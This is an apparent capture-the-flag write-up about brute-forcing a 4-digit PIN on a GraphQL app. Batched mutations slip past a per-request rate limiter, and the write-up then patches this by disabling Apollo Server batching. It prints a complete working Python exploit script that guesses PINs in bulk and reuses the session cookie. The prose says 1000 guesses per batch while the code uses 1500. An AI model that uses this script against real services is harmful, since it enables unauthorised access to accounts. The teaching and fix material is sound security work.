Challenge Overview

This challenge presents a GraphQL-based web application that controls access to a “Control Room” through a 4-digit PIN verification system. The application implements rate limiting to prevent brute-force attempts. However, it is misconfigured to allow GraphQL batching, enabling attackers to bypass the rate limiter and perform bulk PIN-guessing in a single request. The goal is to exploit this batching capability to brute-force the PIN, gain access to the Control Room, and then patch the vulnerability.

image1

Exploit Analysis

The provided exploit script demonstrates how to perform a GraphQL batching attack:

from requests import get, post
import random
import string
import re
import time

BASE_URL = "http://localhost:1337/challenge"

def random_string(length=6):
    return "".join(random.choices(string.ascii_lowercase, k=length))

def generate_pin():
    data = {
        "query": """query { generatePin { success message } }"""
    }
    
    response = post(f"{BASE_URL}/graphql", json=data)
    return response

def create_batch_query(start_pin, end_pin):
    queries = []
    
    for pin in range(start_pin, end_pin):
        pin_str = f"{pin:04d}"
        query = {
            "query": f"mutation{{verifyAccessPin(pin:\"{pin_str}\"){{authorized}}}}"
        }
        queries.append(query)
    
    return queries

def bruteforce_pin(start=0, end=10000):
    print("Starting PIN bruteforce attack...")
    
    batch_size = 1500

    for batch_start in range(start, end, batch_size):
        batch_end = min(batch_start + batch_size, end)
        print(f"Testing PINs {batch_start:04d} to {batch_end-1:04d}...")
        
        batch_queries = create_batch_query(batch_start, batch_end)
        
        response = post(f"{BASE_URL}/graphql", json=batch_queries)
        
        if response.status_code == 200:
            response_data = response.text
            if 'true' in response_data:
                return response.cookies
        elif response.status_code == 429:
            print("Rate limit exceeded. Trying again in 10 seconds...")
            time.sleep(10)
            return bruteforce_pin(start=batch_start, end=end)

    return False

def get_admin_panel(cookies):
    response = get(f"{BASE_URL}/control-room", cookies=cookies)
    return response

if __name__ == "__main__":
    # generate a new pin
    generate_pin()

    # bruteforce the pin
    cookies = bruteforce_pin()

    if cookies:
        print("Valid PIN found!")
        
        admin_panel = get_admin_panel(cookies)

        match = re.search(r'HTB\{.*?\}', admin_panel.text)

        if match:
            print("Exploit success. Control room access obtained.")
            print(f"Flag: {match.group()}")
        else:
            print("For some reason, the control room is not accessible.")
    else:
        print("Could not find valid PIN or vulnerability is patched.")

The attack works as follows:

  1. Batch Query Generation: Constructs multiple verifyAccessPin mutations in a single HTTP request.
  2. Brute Force in Bulk: Sends batches of up to 1000 PIN guesses per request.
  3. Rate Limit Bypass: Since the limiter counts HTTP requests, not GraphQL operations, batching bypasses the 10-requests-per-minute restriction.
  4. Session Extraction: Once the correct PIN is found, extracts the connect.sid session cookie to authenticate as an authorized user.
  5. Access Granted: Use the valid session to enter the Control Room.

Vulnerability Analysis

Affected Endpoint

POST /challenge/graphql

Root Cause

The vulnerability arises from the allowBatchedHttpRequests option in Apollo Server being set to true:

const server = new ApolloServer({
  ...armor.protect(),
  introspection: false,
  typeDefs,
  allowBatchedHttpRequests: true,  // <-- Vulnerable setting
  resolvers
});

While the app implements express-rate-limit to restrict GraphQL requests to 10 per minute per IP, batching allows dozens or hundreds of mutations inside a single request, bypassing the limiter entirely.

Vulnerability Fix

const server = new ApolloServer({
  ...armor.protect(),
  introspection: false,
  typeDefs,
  allowBatchedHttpRequests: false, // <-- Disable batching
  resolvers
});

Effect of Fix:

  • Each PIN attempt now requires a separate HTTP request.
  • The rate limiter effectively prevents brute-force attacks.
  • The system enforces its intended security boundary.

After fixing the code, we can click ‘Restart’ and verify that the vulnerability is no longer present.

image2

image3


written by 0xbara